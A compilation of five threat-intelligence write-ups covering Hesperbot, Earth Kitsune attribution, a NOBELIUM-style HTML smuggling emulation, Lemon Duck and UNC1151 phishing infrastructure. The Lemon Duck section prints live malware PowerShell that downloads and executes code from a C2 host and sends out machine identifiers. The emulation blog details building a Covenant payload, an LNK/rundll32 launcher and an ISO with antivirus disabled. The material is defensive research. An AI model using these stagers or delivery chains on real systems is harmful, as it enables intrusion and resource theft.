# Hesperbot: A New, Advanced Banking Trojan in the Wild A new and effective banking trojan has been discovered targeting online banking users in Turkey, the Czech Republic, Portugal, and the United Kingdom. It uses very credible-looking phishing campaigns related to trustworthy organizations to lure victims into running the malware. ## The Story In the middle of August, we discovered a malware-spreading campaign in the Czech Republic. Our interest was first kindled by the site that the malware was hosted on—a domain that passed itself off as belonging to the Czech Postal Service—but more interesting findings followed. Analysis of the threat revealed that we were dealing with a banking trojan, with similar functionality and identical goals to the infamous Zeus and SpyEye, but significant implementation differences indicated that this is a new malware family, not a variant of a previously known trojan. Despite being a “new kid on the block,” Hesperbot is a very potent banking trojan featuring common functionalities such as keystroke logging, creation of screenshots and video capture, and setting up a remote proxy. It also includes advanced tricks, such as creating a hidden VNC server on the infected system. The banking trojan feature list includes network traffic interception and HTML injection capabilities. The domain was registered on August 7, 2013, and the first Hesperbot binaries (detected as Win32/Agent.UXO at first) distributed in the Czech Republic were compiled on the morning of August 8, 2013, and picked up by our LiveGrid® system moments later. It’s probably not surprising that the attackers tried to lure potential victims into opening the malware by sending emails that looked like parcel tracking information from the Postal Service. The filename used was zasilka.pdf.exe: “zasilka” means mail in Czech. The link in the email showed the legitimate www.ceskaposta.cz domain while pointing to www.ceskaposta.net, which many victims hadn’t noticed. Interestingly enough, the fake domain actually redirected to the real website when opened directly. The Czech Postal Service responded quickly by issuing a warning about the scam on their website. While the Czech campaign was the one that caught our attention, the country most affected by this banking trojan is Turkey, and Hesperbot detections in Turkey are dated even earlier than August 8. Recent peaks in botnet activity were observed in Turkey in July 2013, but we have also found older samples that go back at least as far back as April 2013. During the analysis of the samples, we found that they were sending debugging information to the C&C—an indicator that these variants were in the early stages of development. ## Targeted Banks and Victims The configuration files used by the malware’s HTTP interception and injection module specify which online banking websites are to be targeted by each botnet. The campaigns used in Turkey are of a similar nature to the Czech campaign. The phishing email sent to potential victims purported to be an invoice from TTNET (the largest ISP in Turkey). A double extension—.PDF.EXE—was used here too. An analysis of this campaign has been published on the website of the Turkish National Information Security Program. Only later in our research did we find that the malware operators have shifted their sights towards Portugal. Similarly to the Turkish campaign, the malicious files were disguised as an invoice from a local service provider with a very large market share, Portugal Telecom. A variant designated to target computer users in the United Kingdom has also been found in the wild, but we cannot provide further details about its spreading campaign at the time of writing. In the course of our research, we also stumbled upon an additional component used by Win32/Spy.Hesperbot. This malware, detected by ESET as Win32/Spy.Agent.OEC, harvests email addresses from the infected system and sends them to a remote server. It is possible that these collected addresses were also targeted by the malware-spreading campaigns. According to our ESET LiveGrid® telemetry, as well as our hands-on research into the malware operation, we estimate that the number of people that may have fallen victim to the Hesperbot banking trojan is in the scale of tens in the Czech Republic and Portugal (respectively) and in the scale of several hundred in Turkey. Detection statistics per country are shown in the figure below. It has also come to our attention that victims in the Czech Republic have lost significant amounts of money as a result of infection by this malware. It’s quite possible that there are similarly unfortunate victims in Turkey and Portugal as well. In the case of the Turkish and Portuguese botnets, the configuration files also included web-injects, i.e., pieces of HTML code that the trojan would insert into the banks’ web pages when viewed on the infected PC. This was not present in the Czech configuration file that we found, so most probably only simple form-grabbing and keylogging functionality was used in that instance. ## The Malware Like many other malware families, Win32/Spy.Hesperbot has a modular architecture. As the first step in infection, the victim downloads and runs a dropper component. The dropper is also protected by a custom malware packer and distributed in a ZIP archive. The various modules are available both as x86 and x64 variants according to the host system platform. Selected internal functions of individual modules are available for other modules to use through a virtual method table (vtable). The dropper’s role is to inject the main component—‘core’—into explorer.exe. The core then downloads and loads additional modules, plug-ins used to carry out malicious actions. Most malware components were compiled using Visual Studio 2010 and written in the C programming language, but without using the C Run-Time library. While this isn’t the most sophisticated malware we’ve analyzed, Win32/Spy.Hesperbot can’t be dismissed as amateurish. ### Core The core module, now running in the context of explorer.exe, handles communication with the C&C server and launching other plug-in modules. Typical malware functionality, such as writing to the Run Windows Registry key, is also handled by core. In order to access the C&C server, Win32/Spy.Hesperbot.A uses either a hard-coded URL (different ones were seen in the variants used by the Czech, Turkish, and Portuguese botnets) or generates new C&C URLs using a domain generation algorithm in case the first server is inaccessible. ### Network Interception and Web-injects Probably the most intriguing part of this malware is the way it handles network traffic interception. Other well-known banking trojans such as Zeus and SpyEye are able to intercept and modify HTTP and HTTPS traffic by hooking WinSock functions and the higher-level WinInet functions. Win32/Spy.Hesperbot, however, takes a different approach, which is not very common but has, in fact, already been used by the Gataka banking trojan. The network traffic interception and HTML injection functionality in Win32/Spy.Hesperbot is accomplished by the plug-in modules nethk, httphk, and httpi working together. ### Nethk Nethk is the first plug-in module to be loaded by the core module. Win32/Spy.Hesperbot performs a man-in-the-middle attack by creating a local proxy through which it directs all connections from the browser. Here’s a brief description of each module’s purpose: - **nethk**: Used to set up a local proxy, hook socket functions to drive connections through the proxy, and hook browser SSL certificate verification functions. Also handles decryption and encryption of HTTPS traffic flowing through the proxy. - **httphk**: Used for parsing HTTP traffic intercepted by the proxy. - **httpi**: This is the main module that actually carries out the modification of the HTTP data, according to the configuration file. ### Mobile Component It’s common nowadays that banking trojans also utilize mobile components in order to bypass banks’ out-of-band authentication through mTANs (Mobile Transaction Authentication Number). The mobile code also implements the attacker’s ability to control the service remotely through SMS commands. The Android component is detected by ESET as Android/Spy.Hesperbot.A and the Symbian version as SymbOS9/Spy.Hesperbot.A. ### Keylogger The keylogger module intercepts keystrokes by hooking the functions GetMessage and TranslateMessage in user32.dll. They are then written to a log file, along with the originating process module name and window title text. Afterwards, the log gets sent to the C&C server. ### Hidden VNC The VNC functionality enables the trojan to create a hidden VNC server, to which the attacker can remotely connect. The VNC session runs in a separate desktop, invisible to the user. The module also provides the attacker with the capability to launch a browser that’s installed on the host system. ## Conclusion Win32/Spy.Hesperbot is a new breed of malware that its author began developing in 2013. The combination of man-in-the-middle network traffic interception, keylogging, creating screenshots and video capture sequences, and a hidden VNC session all make this banking trojan a very capable malicious program. In order to protect their hard-earned money, users are advised to stay safe through both technical measures (updating and patching software and keeping anti-virus software up to date with the latest detection signatures) and non-technical measures: be cautious and skeptical—by staying alert for classic phishing messages. ## Authors Anton Cherepanov Robert Lipovsky
# Who is the Threat Actor Behind Operation Earth Kitsune? Recently, we uncovered the Operation Earth Kitsune campaign and published a detailed analysis of its tactics, techniques, and procedures (TTPs). While analyzing the technical details of this malware, which includes two new espionage backdoors, we noticed striking similarities to other malware attributed to the threat actor known as APT37, also known as Reaper or Group 123. Determining who is behind a malware campaign can be a challenging endeavor. Threat actors generally don’t leave easily identifiable signatures in software designed to disrupt or otherwise harm an adversary. However, by comparing key pieces of information with known sources, it is possible to determine when a campaign was likely perpetrated by a certain group. This is even more true when the group has existed for many years and has many pieces of evidence to compare. By some accounts, this group has been active since 2012, so there are many examples attributed to them to compare. It is important to note that previous analysis of suspected APT37 activities from different security vendors date from 2016, and the captured samples for the Operation Earth Kitsune have been developed recently. Because of this, finding code similarity is unlikely. However, we were able to match some code reuse in one of the espionage backdoor’s functionalities. In that sense, we are emphasizing TTPs correlation in this case. In other words, even when the new samples are developed, the attacker may have reused many of the operational techniques. Another important consideration for attribution is that we have some historical background for Operation Earth Kitsune. Previously, we uncovered two different campaigns in 2019 under the name of SLUB malware. Operation Earth Kitsune is a continuation of those campaigns. Consequently, some of the attribution indicators will span and include the previous SLUB malware campaigns. The following sections describe the different correlations and are divided into two main categories: - Correlation related to the malware author developing environment - Correlation associated with TTPs Note that some leads are stronger than others; however, when combined, they suggest that the same threat actor behind malware previously attributed to APT37 is likely responsible for Operation Earth Kitsune. ## Malware Author’s Developer Environment When determining attribution, the most interesting leads are the ones that can deduce information about the malware author’s working environment. Sometimes, these leads can determine the preferred languages used in the developers’ environment. There are also times when developers intentionally remove these associations and plant misleading information to avoid attribution. That action by itself potentially introduces other leads that developers may forget to clean. ### Operating System Language Version During the analysis of the samples captured from the previous campaign related to SLUB in 2019, one of the samples, the SLUB loader exploiting CVE-2019-0803, contained a version resource section that included intentionally misleading planted data. This kind of misleading version data is quite common and does not have information relevant to attribution. However, there is a secondary effect when the version resource is added to a binary. For this, we are assuming this binary was compiled with a Visual Studio toolchain, which is indicated for various compiler identification tools. When the version resource is compiled into the binary, a language ID is generated and created not in the resource payload but in the internal structure of the resource information that is not visible with Windows Explorer. We found this type of OS language leak in prior samples attributed to APT37. One of the previous malware families attributed to APT37 is known as Freenki. Some Freenki samples had leaked the OS language ID through this same mechanism. We assume there are multiple developers within APT37, and not all of them follow the same practices. As such, not all samples may have the embedded resource that leaks the same OS language. However, this commonality is just the first of many that lead us to believe the team attributed to the Freenki malware is the same team behind Operation Earth Kitsune. ### Leaked Assert Path and External Blog References Sometimes, the malware authors know that releasing symbol information is dangerous from an attribution point of view since it can reveal information about the working environment. That information often gets stripped from binaries. However, that is not the only scenario where malware developers leak path information about their environment. In some instances, malware projects require external libraries, and some libraries used the “assert()” mechanism to help the developers debug unexpected conditions. In these cases, the compiler includes a path to the source code file along with those “assert()” calls. Public references to this path consist of Korean language blogs explaining how to set up a developer environment configuration using the same path. It is also important to note that the same paths leaked through all the SLUB samples. This includes samples from the older SLUB campaign in 2019 and the new version that supports Mattermost. ## TTPs Correlation In our previous detailed analysis of Operation Earth Kitsune, one of the delivery architecture for the espionage backdoors is designed as shown in the delivery architecture. While this mechanism may sound quite common in other campaigns, what is interesting is the details they have in common with previous campaigns attributed to APT37. The following TTPs are common in both campaigns: - Both have compromised websites where the malware samples are hosted and delivered to victim machines. - Both use PowerShell scripts to download and run the samples. - Both PowerShell scripts download multiple malware to the victim machine. - Both use different samples for the multiple malware downloaded. - Both use JPG as a delivering extension. - Multiple samples are delivered at the same time. Another surprising similarity in the TTPs related to both campaigns is the path pointing to “udel_ok.ipp,” which is a JavaScript file that executes with wscript.exe. What got our attention is that the samples were renamed to be similar to the naming convention of Windows update files (i.e., “Windows-KB275122-x86.exe”). We can see how the Freenki malware, previous SLUB campaigns, and Operation Earth Kitsune share many common TTPs in their delivery and persistence mechanisms. However, these are not the only commonalities. ### GNUBoard Compromised Websites In the blog describing Operation Earth Kitsune, we noted sites using the GNUBoard Content Management System (CMS) had been compromised and were used to host malware. The malware campaigns previously attributed to APT37 also extensively used the exploitation of websites hosted with GNUBoard CMS. ### Exfiltration Commands As mentioned in the previous report on Operation Earth Kitsune, one of the espionage backdoors, named agfSpy, received a “JSON” configuration with a list of native Windows commands to execute. The output of those commands is exfiltrated back to the agfSpy command and control (C2) server. While analyzing one malware previously attributed to APT37, it executed practically the same command sequences including the paths and extensions. ### Code Sharing When doing attribution, finding code sharing between different samples is one of the most desired discoveries. However, in our case, this was difficult as we are comparing samples from 2016-2017 to those developed in 2020. At the same time, practically all code for the SLUB malware was created from scratch. ### Working Hours Analyzing the compile time of binaries between different samples can also provide a level of correlation between samples. While malware authors can fake this, useful information can still be gleaned with enough samples. In our case, we collected many samples across 2020, and we found that the compile dates and times follow a logical timeline according to the malicious activity. ## Conclusions While no attribution is perfect, there are striking similarities between the malware attributed to APT37 and Operation Earth Kitsune. Little can be gleaned from each individual piece, but when viewed as a whole, the group behind Operation Earth Kitsune is likely the same one behind the Freenki malware and other malware campaigns attributed to APT37. We can summarize the correlated indicators in a general form as: - Use of Korean language in the system environment of the developers - Reuse of multiple TTPs during operation deployments - Reliance on public services and watering hole attacks to compromised victims - Some code reuse, even when the samples are completely different otherwise - Working hours for both matches - Exfiltration techniques and information interest are very similar if not fully matched While it is always possible for another group to imitate the TTPs of a different group to confuse attribution, there does not seem to be any indication of that here. Instead, what we see in SLUB and Operation Earth Kitsune is the evolution of an advanced threat actor over time: one that builds on what worked in the past to become more efficient in the present.
# Detecting Initial Access: HTML Smuggling and ISO Images — Part 1 Mehmet Ergene June 1, 2021 This blog is part one of a two-part series focusing on TTP extraction, Attack Emulation (Purple Teaming), Log Analysis, Threat Hunting, and Threat Detection using the latest NOBELIUM email-based attack. Initial access is the most important part of an attack. However, it can be easily ignored by many organizations or defenders because of the “Assume Breach” mindset. In this two-part series, I’ll explain how an attack can be detected during its initial access stage and hopefully change the “Assume Breach” mindset for some of you. The series can be considered as a crash course on the below topics: - Extracting behavioral TTPs from threat intel reports - Attack emulation (Atomic Adversary Emulation) - Analyzing logs and generating/validating hypotheses - Developing detection rules/queries Let’s get started! ## Extracting Behaviors and TTPs If you haven’t already, please read the report from Microsoft Threat Intelligence Center (MSTIC) below and try to create hypotheses for threat hunting and detection. **Breaking down NOBELIUM's latest early-stage toolset - Microsoft Security** In this blog, we highlight four tools representing a unique infection chain utilized by NOBELIUM: EnvyScout, BoomBox… For a blue teamer, the report can be summarized as follows: 1. An ISO image containing a malicious binary and a shortcut (LNK) file that executes the binary indirectly upon double-clicking (this could have been a direct execution as well). 2. An HTML attachment that uses HTML smuggling to deliver the ISO image. 3. The ISO image must be mounted by the victim manually, and the shortcut file must be opened. 4. Upon mounting the ISO image and double-clicking the shortcut file, the malicious payload runs and connects to the C2 server. When I read the report, below were my initial thoughts: - ISO image creation on a computer is normal but can be considered highly suspicious if observed on a non-IT employee workstation or a server. - Process execution under a mounted image should be highly anomalous. - Network connection from a process that is executed under a mounted image should be highly anomalous. - If I can detect image mounts, I can detect this behavior and see if it’s a high fidelity anomalous behavior for triggering an alert. Without the context provided in the report, it isn’t easy to extract behavioral TTPs, and for me, context is the key. That’s why I personally prefer analyzing threat actors, how they chain the techniques, and which techniques have a relation with other techniques (e.g., brute-force -> valid accounts -> lateral movement). I use this information to generate detection strategies. I didn’t extract any MITRE ATT&CK techniques from the report because I’m interested in the behavior that is harder to change. Techniques can be replaced with alternatives easily, but behaviors not. ## Atomic Adversary Emulation I don’t particularly appreciate performing atomic tests because it sometimes lacks contextual information, doesn’t tell the exact story, and can be quite misleading. Adversary emulation, on the other hand, takes too much time. That’s why I’ve made up a new term Atomic Adversary Emulation. Atomic adversary emulation is simply emulating a specific phase of an attack. I used this approach because it’s enough to detect an attack at any phase, not at all phases. Also, focusing on techniques individually takes all the context away. In this example, delivering the HTML attachment to getting the successful Command and Control connection is considered as an attack phase. The emulation plan for the attack phase is as follows: ### Preparation (Resource Development) - Setup Covenant and generate C2 payload (make the payload hidden) - Create a shortcut file (LNK) that executes C2 payload via rundll32 - Burn an ISO image that contains the shortcut file and the payload - Encode the ISO image - Create an HTML file that uses HTML smuggling ### Emulation - Open the HTML file and save the ISO file; it isn’t saved automatically - Open downloaded ISO image. The ISO image will be mounted automatically - Double click the shortcut file - Check the Covenant Console to verify the C2 connection ### Preparation (Resource Development) Setting up Covenant and generating a C2 payload Covenant is quite easy to install and configure. I had never installed a C2 tool before, and it took me ~30 minutes on a Windows machine, including reading the relevant parts of the documentation. **Note:** During the preparation and emulation, disable your AV. 1. Install Git and Docker No special configuration is needed. Just perform the default installation. 2. Install Covenant Open a PowerShell window and enter the commands below: ```powershell PS> git clone --recurse-submodules PS> cd Covenant\Covenant\ PS> docker build -t covenant . PS> docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v C:\Users\adhd\Downloads\Covenant\Covenant\Data:/app/Data covenant ``` The output of the commands should be like below: **Create a Listener and Generate a C2 payload (Grunt)** - Open a browser and go to https://localhost:7443 - Register a user (create a user) - Create a listener **Generate a Launcher (Grunt)** Just generate the Grunt and download it. No need for hosting the payload. - Rename the Grunt (payload) to “BOOM.exe” - Open the properties of BOOM.exe and select “Hidden” to make the file hidden (optional). **Create a Shortcut File** Copy an existing shortcut and rename it to “NV”. Then right-click and select properties, remove the “Start in” parameters. Replace the “Target” parameter with: ``` "C:\Windows\System32\rundll32.exe advpack.dll,RegisterOCX BOOM.exe" ``` You can change the icon if you want (optional). **Create an ISO Image** Use any image burner (I used AnyBurn and chose “Create image file from files/folder”), and burn the two files (BOOM.exe and NV.lnk). **Base64 Encode the ISO Image** Below PowerShell command converts the ISO image to base64 encoded string and saves it to the NV.txt. ```powershell [convert]::ToBase64String(([IO.File]::ReadAllBytes('<PathToISOFile>'))) > NV.txt ``` Open a text editor and paste the below contents. Paste the base64 encoded string in the NV.txt without removing the quotes in the code: We are ready for the emulation! ### Emulation 1. Copy the HTML file to a target machine (you can use the same machine you use for Covenant if you like) 2. Open the HTML file. The ISO file will be downloaded automatically. If not, save the file manually. 3. Open the ISO file (will be mounted automatically when you open it) 4. Double click the “NV” shortcut Check the Covenant Console Success! We received the C2 connection. Next, we will analyze the logs, generate/validate hypotheses and develop detections.
# Lemon-Duck Cryptominer Technical Analysis **Author:** Fareed ## Summary Lemon Duck is a crypto-mining malware that targets infected computer resources to mine Monero cryptocurrency. This malware has a lot of capabilities and runs its payload mostly in memory, making its presence stealthy in infected machines. The fileless infection of the malware mainly uses PowerShell modules. Phishing emails with a malicious document, SMB Remote Code Execution Vulnerability (CVE-2017-0144), and brute-force attacks were used to conduct internal network spreading while a malicious document was used to infect external victims. They also leverage some open-source tools like XMRig, PingCastle, and PowerSploit to achieve their goals. ## Initial Access The infection of this crypto miner begins on the victim in many ways: - Phishing email with a malicious document as an attachment - SMB exploit - RDP brute-force - USB infection - SSH brute-force - Pass the hash - MS-SQL brute-force - Redis remote command - Yarn remote command Our Splunk detection team first detected a lot of suspicious communication made to a domain name `t[.]bb3u9[.]com`. Our threat analyst team investigated the URL and realized that it appended a lot of computer information, including Windows version, hostname, and more, which in our case, was the infected victim's information. Using VTGraph from VirusTotal, the domain was flagged as malicious by various security vendors. Tracking and hunting down the domain and a few indicators of initial access in Splunk, we found that the malware was spread through the Pass the hash method. ### Execution Mechanism After conducting a malware analysis on the sample, we observed that the above-mentioned request was made after the execution of a persistence mechanism PowerShell from Scheduler Task. The below figure shows the scheduler task created by the malware. The format version of the PowerShell code is as follows: ```powershell function a($u){ $d=(New-Object Net.WebClient).DownloadData($u); $c=$d.count; if($c -gt 173){ $b=$d[173..$c]; $p=New-Object Security.Cryptography.RSAParameters; $p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTztic'); $p.Exponent=0x01,0x00,0x01; $r=New-Object Security.Cryptography.RSACryptoServiceProvider; $r.ImportParameters($p); if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){ IEX(-join[char[]]$b) } } } $url='http://'+'t.bb3'+'u9.com'; a($url+'/a.jsp?rep_20210521?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*')) ``` The above code will execute the final line of the code which will retrieve the content of `a.jsp` and invoke it. ## First Stager The first stager PowerShell script from the malware creates the scheduler task. The following snippet shows the full line of the scheduler task payload stored in variable `$tmps`. ```powershell $tmps='function a($u){$d=(New-Object Net.WebClient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String(''xpVT7bCpITDUjAvmzli55WPVFPjQBos7o9/ZbbWzyeaKIn9NLJwvY6ad');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData((New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){IEX(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2'';a($url+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*''))' ``` The stager also drops a WMI persistent mechanism. ```powershell Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball1";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop ``` Other things to highlight for the first stager include functions to uninstall antivirus software, verify if the current hostname has been infected, and deny access on ports 445 and 135. The PowerShell code then prepares a network environment by denying access on ports 445 and 135 to prevent other malware from exploiting SMB with the Eternal Blue exploit. ```powershell cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53 netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block ``` After the first stager is executed, it sets up the environment for the malware, such as removing antivirus software, denying access on SMB ports, and dropping the persistent mechanism. Once the persistent PowerShell payload is executed, the malware retrieves and invokes the PowerShell command in the JSP file `a.jsp`. ## Deobfuscating a.jsp The content of `a.jsp` was multi-encoded by the malware author. Using PowerShell ISE, we decoded the above-encoded code to analyze the clean version of the payload. The malware downloads and runs various payloads called `m6.bin`, `m6g.bin`, `kr.bin`, `if.bin`, and `nvd.zip` into the disk. ## Conclusion The malware is very stealthy as it leverages fileless execution on most of its payloads. It tends to infect and spread across as many systems as possible by implementing multiple methods like brute force and exploits. Observing these malware trends shows that the malware author often changes the CnC infrastructure IP address and improves their malware capabilities, making more systems their victims. ## Indicator of Compromise **Hashes** - if.bin: 8c4fba3df81475d075c535deae2cd373 - kr.bin: c95f97fccb0bd80fa524cf2bfb0390a8 - m6.exe: 4094140d07826334c345f8dc392d8fe3 - mimi.dat: a66953b8a3eeee7d5057ddf80b8be962 **DNS Requests** - t.bb3u9.com - t.pp6r1.com - p.b69kq.com - d.u78wjdu.com **IP Connections** - 138.68.251.24 - 138.68.186.90 - 88.214.207.96 - 45.63.34.251 - 138.68.183.180 - 176.58.99.231
# Diving Deep into UNC1151’s Infrastructure: Ghostwriter and Beyond ## Introduction Prevailion’s Adversarial Counterintelligence Team (PACT) is using advanced infrastructure hunting techniques and Prevailion’s unparalleled visibility into threat actor infrastructure creation to uncover previously unknown domains associated with UNC1151 and the “Ghostwriter” influence campaign. UNC1151 is likely a state-backed threat actor waging an ongoing and far-reaching influence campaign that has targeted numerous countries across Europe. Their operations typically display messaging in general alignment with the security interests of the Russian Federation; their hallmarks include anti-NATO messaging, intimate knowledge of regional culture and politics, and strategic influence operations (such as hack-and-leak operations used in conjunction with fabricated messaging and/or forged documents). PACT assesses with varying degrees of confidence that there are 81 additional, unreported domains clustered with the activity that FireEye and ThreatConnect detailed in their respective reports. PACT also assesses with High Confidence that UNC1151 has targeted additional European entities outside of the Baltics, Poland, Ukraine, and Germany, for which no previous public reporting exists. ## Situation Overview In July of 2020, FireEye’s Mandiant released a threat intelligence report on an influence campaign they dubbed “Ghostwriter,” wherein they detailed a cluster of activity that demonstrated an “anti-NATO agenda” that primarily targeted audiences in Lithuania, Latvia, and Poland with narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe. In April of 2021, ThreatConnect published a Threat Intel Update that included possible related Ghostwriter infrastructure spoofing military organizations in Poland and Ukraine, and quotes German investigative reporting detailing Ghostwriter activity against members of the German government and claiming a possible connection to the Russian state. Later in April of 2021, Mandiant released an update to their initial report, wherein they attributed at least some of the Ghostwriter activity to UNC1151, “a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns.” In May of 2021, DomainTools released a report consisting of UNC1151 infrastructure that corroborated previous findings and included previously unreported infrastructure and network-based IOCs related to UNC1151. Finally, in August of 2021, VSQUARE released an exhaustive analysis of the Ghostwriter influence campaign that corroborated previous findings linking Ghostwriter/UNC1151 activity to the Kremlin and detailing the group’s activity back to 2017 (and possibly earlier), during which time the group was identified using its phishing infrastructure to send targeted spearphishing messages and engaging in politically-destructive hack-and-leak operations. It may assist the reader to detail a brief timeline of notable events of interest that were reliably reported and attributed: - In 2014, attempts to gain access to the Polish Ministry of National Defence using the phishing domain `poczta.mon.q0v[.]pl` (later attributed to APT28). - In 2016, similar attempts were made leveraging a phishing domain displaying a similar pattern: `poczta.mon-gov[.]pl`. The systems of the United States Democratic National Committee were breached by APT28 (Fancy Bear) and APT29 (Cozy Bear), likely operating independently. This access led to an infamous hack-and-leak operation to damage the presidential campaign of Hillary Clinton. - In 2017, from March onward, an unidentified group was observed waging a European disinformation campaign dubbed “Ghostwriter” by FireEye. - In 2018, UNC1151 registers phishing domains, among them `poczta.mon-gov[.]ml` “with the clear intention of stealing data from the address employees used to log into their email.” The Lithuanian CERT also publishes a report on an attack later attributed to Ghostwriter. - In 2019, the Lithuanian CERT publishes another report on an attack later attributed to Ghostwriter. - In 2020, phishing domains were registered and structured in order to spoof poczta.ron.mil.pl, used by “employees of Poland’s Ministry of National Defence working remotely.” Additional phishing infrastructure is registered. Attackers gain access to the personal email of the chief of the Chancellery of the Prime Minister of Poland. Various influence operations take place in Poland. - In 2021, UNC1151 was identified targeting the login credentials of German politicians. Influence operations continue, but now inauthentic messaging is being spread from hijacked accounts as well as fake personas. Influence operations take place in Lithuania. As a result of domestic strife, a well-known Belarusian opposition blogger’s flight is hijacked while en route to Lithuania and imprisoned. Previously observed phishing and influence operations continue into the summer. PACT identified overlapping TTPs throughout this investigation, notably the techniques used to carry out influence operations (e.g., phishing for credentials to engage in hack-and-leak) and domain and subdomain naming themes such as `poczta` and other Polish and Ukrainian words. Previous reports have attributed these overlaps in behavior displayed by distinct groups (APT28, APT29, and UNC1151) to hypothesize that all this activity is related in some way to the Russian state generally and its intelligence apparatus specifically; PACT agrees with this assessment: it is likely that UNC1151’s activity is either controlled or influenced by Russian intelligence services. PACT is not attributing the activity of APT28 and APT29 to UNC1151 or vice versa. ## Actor Overview UNC1151 and the associated Ghostwriter campaign are broad in both scope and target; previous reporting indicates targeting of audiences within the Baltic nations (Estonia, Latvia, and Lithuania) as well as Germany, Poland, and Ukraine. Analysis of phishing infrastructure from these reports indicates the group was targeting official government accounts (both civil and military) as well as personal accounts. Additional analysis by PACT indicates the targeting of yet other audiences. Previous reporting and additional analysis suggest that one of UNC1151’s behaviors is to use root domains with common, seemingly-legitimate words and themes (e.g., `net-account[.]online` or `login-telekom[.]online`) and then build upon them with specific, targeted subdomains to create long URLs that make their phishing domains look legitimate (e.g., `gmx.net-account.online` or `verify.login-telekom[.]online`). Additional examples appear elsewhere in this report and demonstrate UNC1151’s ability to craft convincing domains that allow them to capture credentials in highly-targeted spearphishing campaigns that can then be used for follow-on influence operations: hack-and-leak and inauthentic messaging (sending forged or manipulated messages or posting inflammatory material from hijacked or fake accounts). This ability, combined with UNC1151’s reported capacity to understand and exploit pre-existing socio-cultural fissures to sow discord and angst in the targeted states (in accordance with Moscow’s security goals) can prove damaging and difficult to counteract, and therefore should be underscored. PACT identified domain and subdomain naming themes that indicated targeting of the following audiences: Ukrainian and Polish government (particularly the defense sector), European iPhone and iCloud users, the French Defense Information and Communication Delegation (DICoD) (a department of the French Ministry of the Armed Forces), and users of popular regional web service providers across Europe and Russia, as well as global tech giants like Google, Microsoft, Apple, Twitter, and Facebook. UNC1151 has proven the effectiveness of these tactics, as hundreds of victims, including members of the Polish Parliamentary Intelligence Committee and the chief of the Chancellery of the Prime Minister of Poland, took the bait and gave attackers access to their private email accounts. Unfortunately, the successful phishing of its targets is only an initial, enabling feature of UNC1151’s operational methodology. The actor then uses that access for follow-on influence operations. ## Investigative Methodology PACT leveraged Prevailion’s unique visibility and proprietary intelligence platform, along with previous public reporting, to identify patterns and cross-reference web infrastructure (e.g., historical domain registration, TLS certificate, DNS, and hosting data) to aid in the identification of additional UNC1151 infrastructure. PACT identified an additional 83 domains associated with UNC1151 that have not been previously reported: 52 of which PACT assesses with High Confidence are or were part of UNC1151’s operational infrastructure, and 31 that PACT assesses with Moderate Confidence to be previously-used phishing infrastructure for the actor’s targeted phishing campaigns. The High Confidence cluster has been cross-referenced with previous public reporting and is listed at the bottom of this blog; PACT also included the rest of the UNC1151 infrastructure from previous reporting for defenders’ and researchers’ convenience. This cluster includes the phishing domains that PACT assesses with high confidence were intended to gain login credentials for members of the French Defense Ministry’s DICoD. Much of this cluster appears designed to capture login credentials for official and personal accounts of Polish and Ukrainian audiences; common subdomain themes are shared throughout. Activity related to this cluster of domains is ongoing, as evidenced by the registration of `login-inbox[.]site` on 2021-08-20. The Moderate Confidence cluster was identified using observed hosting commonalities, previous reporting on widespread phishing campaigns, and commonalities of domain and subdomain naming themes. This cluster of activity was active as recently as July 2021, but most of the domain registrations occurred in 2019 with expirations in 2020. The naming themes indicate a targeted audience of Apple (iPhone and iCloud) users in Europe; nearly all root domains have at least one subdomain that includes the words “apple” or “icloud.” Additional subdomains appear to target Paypal and OVH Telecom logins as well. If PACT is correct in attributing this activity to UNC1151, this cluster of mostly-expired Moderate Confidence activity indicates a change in targeting around 2020/2021, as Ghostwriter was primarily aimed at an audience in Poland, Ukraine, and the Baltics. This Moderate Confidence cluster, by contrast, appears to have explicitly targeted European iCloud users. ## Conclusion PACT is unable to verify that UNC1151 is a homogenous group with central direction; PACT also cannot verify that all Ghostwriter activities were conducted by UNC1151, as PACT analysts only have visibility into the web-based infrastructure. It is possible that phishing infrastructure creation, credential gathering, access, and the influence operations were centrally directed or controlled but carried out by different groups. It is clear, however, that there is an overarching theme and direction to these activities. It is this theme and direction that PACT has identified and continues to track under the UNC1151 actor, which corroborates the reports cited below. PACT continues to track UNC1151 and the Ghostwriter campaign by leveraging Prevailion’s unique and unparalleled visibility into malicious infrastructure creation, and will publish follow-on updates as they are identified and corroborated. ## Appendix (IOCs) PACT Assesses with High Confidence that the following domains are part of UNC1151 operations; additionally, they do not appear in public reporting that has surfaced as part of PACT’s analysis: 1. account-signin.online 2. bigmir-net.online 3. bigmir-net.site 4. com-firewall.site 5. com-verification.site 6. fr-login.website 7. i-ua.site 8. id-passport.online 9. interia-pl.online 10. interia-pl.space 11. interia.site 12. is-lt.online 13. is-lt.site 14. login-credentials.online 15. login-inbox.site 16. mail-i-ua.site 17. mail-validation.online 18. meta-ua.site 19. must-have-oboron.space 20. net-login.online 21. net-login.site 